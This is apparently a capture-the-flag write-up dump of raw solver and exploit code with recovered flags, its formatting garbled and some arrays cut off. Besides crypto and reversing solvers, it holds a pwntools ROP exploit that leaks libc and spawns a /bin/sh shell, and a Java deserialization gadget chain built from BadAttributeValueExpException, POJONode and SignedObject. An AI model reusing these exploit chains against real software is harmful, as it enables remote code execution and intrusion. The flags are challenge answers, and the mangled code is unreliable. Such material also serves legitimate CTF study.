import os

from Crypto.Util.Padding import pad from Crypto.Util.number import * from Crypto.Cipher import AES from gmpy2 import *

c1=

190245639558393499028978226921809493715500676443786241999020674347082

781253462348249001178535989972700228726673194286131478093259290927493

123104467544193050968911222119444423386646137795956412682984820842597

417842819278576148142202790558408251571155514565542873955026553584532

708436018708071743091213674493351103279911872357867983742544707589578

446902585940700433888271579819643236997474504058147137226132650129478

528567141002373252561149047055394651456769602327695022070498587525736

015167739522942188439013301002572345174812218118871362957273967128948

42769582824157206825592614684804626241036297918244781918275524254 c2=

113874475484570750573909976305905040436790069227755666537286994168280

369800763183728399009473030613008789305170695278357719923936571570690

145343664829033889366892981754111636668492375255499025278468262248534

072262894952013417192770805509621185510012460175116516888836751525544

493103296644151794644887252271200337863059001065442171175269236072117

469475117463350711623085912882815726034175325233452713401131767437038

098683696234015597131799270026342171402066089630866561402586431195969

689294371144595579167578246824968660292971202462215570178758929215919 55181714167913310050483382235498906247018171409256534124073270350

N=

218316306252129124500587872182728326150846403565007401624787764820718

761786846427390651057284238725485320562068456374920584656137799731933

549963533234943734182150194453256321045754159919847644547532631892353

761278717424446362361321110975489970630914787944223700439840096158934

411489015664205081961705561895469113917165959831100307780462420148967

523884385351318065249689529470160599071358823905077069667469735445984

579639456710645404652592118347519730651975505003347267794346794701604

639442926191739040648262172848993415542698646696204777746786059622762

56707036721407638013951236957603286867871199275024050690034901963 g1=

203035016194357290006755108202174206362465536634728322864875047575155

861576793611703321713064918209187227528486856450966110305582453625784

225847978894284936117049764724099428403680800169469772348744717791899

227138879140759856488765168968235990783497258715784465321346144108866

580017248649150737686783942387257882454390866019554972485932868326794

858323197566719855053988417014637822723002029818427335760061521530123

559801978309117001120014416216194173497472622572254691065115274675262

866610820101633341005553723816814218741658510638165989073141170351316

18062582953512203870615406642787786668571083042463072230605649134

p=gcd(g1-1,N) print(gcd(g1-1,N)) q=N//p c1=c1%p c2=c2%q print(long_to_bytes(c1)) print(c1.bit_length())

#b’flag{f561fafb-32ce-9d’

S= 234626762558445335519229319778735528295

print(S.bit_length())

N=

280537497219307807972431374640553579212626165416199766457958107077010

316027930348898864203855671692229621451284981311705771842765906989765

310709007762933441095340050570676806638134300933978213660713652214537

887632623819581854042243191539459504167253021840779528934352650514026

458716991329108600117535023078154576365251371716814638177311903116822

771713962351600565043179598327472793178292836018147075510940747787961

081361418457553577843613124691243924086428233754134337595721216586462

031236773275514214406553222261920315423684968291020501865507931240207

18643243789525477209493783347317576783265671566724068427349961101 e= 5

Cs=

[16934474964007537357624267500972825822038945114851126158657530016795

571828400330407050257205488354769964982440814230529539527458131867936

877904960864921360430984443041289632374898627769883892562981428430703

842689071600207513193139708871999393450962325291432044421688087030635

682959246639984565342643614951364120783241332637334093623667684606255

08816378362979251599475109499727808021609000751360638976,

224077284920338153497548467912798264297336480172257663773141189296965

436845713080150310321057080372883006387611848359647438910977246901434

945349039514703166506173396509730166193338940603121424268024663820166

384518319493735350930269492681128202647591370330678909716269336833721

058449488124990934664328951049372470932454006207761969605684222552618

3938442535866325407085768724148771697260859350213678910949,

508234111124615381789627910477518711253443178341838829280070508545870

466505734417565756675162797614934240640659417907377743167659764120032

185962263394831718191456267090968617053192955230185202760637777851501

937716867720431064250074438704160126059312041705374197753304741272937

318284298476168944395926604942103494982267315956160948740408253687231

4636928727833394518122974630386280495027169465342976]

cnt=3

A     = [(i + 128) ** 2 for i in range(cnt)]

B     = [(i + 1024) for i in range(cnt)] C = [(i + 512) for i in range(cnt)]

test=A[0]*S**2+B[0]*S+C[0] test=pow(test,5) print(test.bit_length()) for i in range(cnt):

print(iroot(Cs[i],5))

Cs[i]=int(iroot(Cs[i],5)[0]) print(Cs) from z3 import *

m1=BitVec(‘m1’,128) m2=BitVec(‘m2’,128) m3=BitVec(‘m3’,128)

s=Solver()

s.add(m1+m2+m3==S)

s.add(((A[0] * m1 *m1 + B[0] * m1 + C[0]))==Cs[0])

s.add(((A[1] * m2 *m2 + B[1] * m2 + C[1]))==Cs[1])

s.add(((A[2] * m3 *m3 + B[2] * m3 + C[2]))==Cs[2])

print(s.check()) print(s.model())

”’

m3 = 36029897673981719660827899610422516507, m1 = 65413472431888815878902893901773169457, m2 = 133183392452574799979498526266539842331 ”’

m3 = 36029897673981719660827899610422516507 m1 = 65413472431888815878902893901773169457 m2 = 133183392452574799979498526266539842331 print(long_to_bytes(m1)) print(long_to_bytes(m2)) print(long_to_bytes(m3))

#b’16-18fa-ec795fc1′

#b’d208}

#flag{f561fafb-32ce-9d16-18fa-ec795fc1d208} exit()

from Crypto.Cipher import AES import base64 enc =

[0xe6,0xce,0x89,0xc8,0xcf,0xc5,0xf5,0xc9,0xd2,0xd9,0xc0,0x91,0xce,0x7 f,0xa

key = “wvgitbygwbk2b46d” for i in range(len(enc)): enc[i] = (enc[i] – ord(key[i % 16])) ^ 0x1A

enc = bytes(enc).decode()

new =

“456789}#IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123ABCDEFGH” raw =

“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/” aes_enc = base64.b64decode(enc.translate(str.maketrans(new, raw))) aes = AES.new(key=b”wvgitbygwbk2b46d”, mode=AES.MODE_ECB) print(aes.decrypt(aes_enc))

#b’flag{g0_1s_th3_b3st_1anguage_1n_the_wOrld!_xxx}\x01′

from pwn import* context.log_level=’debug’ context.arch=’amd64′ s = lambda data : p.send(data) sl = lambda data : p.sendline(data) sa = lambda text, data : p.sendafter(text, data) sla = lambda text, data : p.sendlineafter(text, data) r = lambda : p.recv() rn = lambda x : p.recvn(x) ru = lambda text : p.recvuntil(text) dbg = lambda text=None : gdb.attach(p, text) uu32 = lambda : u32(p.recvuntil(b”\xf7″)[-4:].ljust(4, b’\x00′)) uu64 = lambda : u64(p.recvuntil(b”\x7f”)[-6:].ljust(8, b”\x00″))

lg = lambda s : log.info(‘\033[1;31;40m %s –> 0x%x \033[0m’ % (s, eval(s))) pr=lambdas:print(‘\033[1;31;40m%s–>0x%x\033[0m’%(s, eval(s))) def mydbg(): gdb.attach(p,”decompiler connect ida –host 192.168.1.102 –port 3662 “) pause() pop_rdi=0x00000000004007e3 pop_rsi=0x00000000004007e1 bss_0601040=0x0601040 pop_rsp=0x00000000004007dd read_plt=0x4004E0 read_got=0x600FD8 pop6_addr=0x4007DA mov_addr=0x04007C0

bss_addr=0x601200 ret=0x00000000004004c9 i=0 while True:

try: lg(“i”) i=i+1

                    #    p=remote(“pwn-1f975f76e2.challenge.xctf.org.cn”,    9999,

ssl=True)

p=process(‘./ezzzz’) elf=ELF(‘./ezzzz’) libc=elf.libc

payload=b’a’*0x18+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_0601040)+p 64(0)+p64(read_plt)+p64(pop_rdi)+p64(0)+p64(0x400606)

payload+=p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(0x300)+p64(bs s_addr)+p64(0)+p64(mov_addr)+p64(0)*7

payload+=p64(pop_rsp)+p64(bss_addr)

mydbg() sl(payload) pause() sl(p64(read_got))

payload=p64(0)*3+p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(8)+p6 4(bss_0601040-6)+p64(0)+p64(mov_addr)+p64(0)*7

payload+=p64(pop6_addr)+p64(0)+p64(1)+p64(bss_0601040)+p64(0x8)+p64(r

ead_got)+p64(1)+p64(mov_addr)+p64(0)*7

payload+=p64(pop6_addr)+p64(0)+p64(1)+p64(read_got)+p64(0x100)+p64(bs s_addr+0xa00)+p64(0)+p64(mov_addr)+p64(0)*7

payload+=p64(pop_rsp)+p64(bss_addr+0xa00) pause() sl(payload) pause() s(“\x00\x00\x00\x00\x00\x00\x20\x4a”) libc_base=uu64()-libc.sym[‘read’] system=libc_base+libc.sym[‘system’] binsh=libc_base+next(libc.search(b”/bin/sh”)) lg(“libc_base”) payload=p64(0)*3+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) pause() sl(payload)

p.interactive() except EOFError:

p.close()

BadAttributeValueExpException

POJONode

SignedObject

import com.fasterxml.jackson.databind.node.POJONode; import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import com.yancao.ctf.util.MyObjectInputStream;

import javax.management.BadAttributeValueExpException; import java.io.*;

import java.lang.reflect.Field; import java.net.MalformedURLException; import java.net.URL; import java.security.*; import java.util.Base64;

public class test { public static void main(String[] args) throws Exception {

                      URLHelper              handler              =              new

URLHelper(“File:///F14gIsHereY0UGOTIT”);

URLVisiter urlVisiter = new URLVisiter(); handler.visiter = urlVisiter; KeyPairGenerator keyPairGenerator;

keyPairGenerator = KeyPairGenerator.getInstance(“DSA”);

keyPairGenerator.initialize(1024);

KeyPair keyPair = keyPairGenerator.genKeyPair();

PrivateKey privateKey = keyPair.getPrivate();

Signature signingEngine = Signature.getInstance(“DSA”);

                      SignedObject           signedObject           =           new

SignedObject(handler,privateKey,signingEngine);

POJONode jsonNodes = new POJONode(signedObject);

                      BadAttributeValueExpException        exp        =        new

BadAttributeValueExpException(null);

                      Field                          val                          =

Class.forName(“javax.management.BadAttributeValueExpException”).getDe claredField(“val”); val.setAccessible(true); val.set(exp,jsonNodes);

ByteArrayOutputStream barr = new ByteArrayOutputStream();

                      ObjectOutputStream       objectOutputStream       =       new

ObjectOutputStream(barr); objectOutputStream.writeObject(exp);

System.out.println(Base64.getEncoder().encodeToString(barr.toByteArra y()));

                      ByteArrayInputStream      byteArrayInputStream

=

new

ByteArrayInputStream(barr.toByteArray());

                      ObjectInputStream            ois

MyObjectInputStream(byteArrayInputStream);

URLHelper o = (URLHelper)ois.readObject(); //

}

}

=

new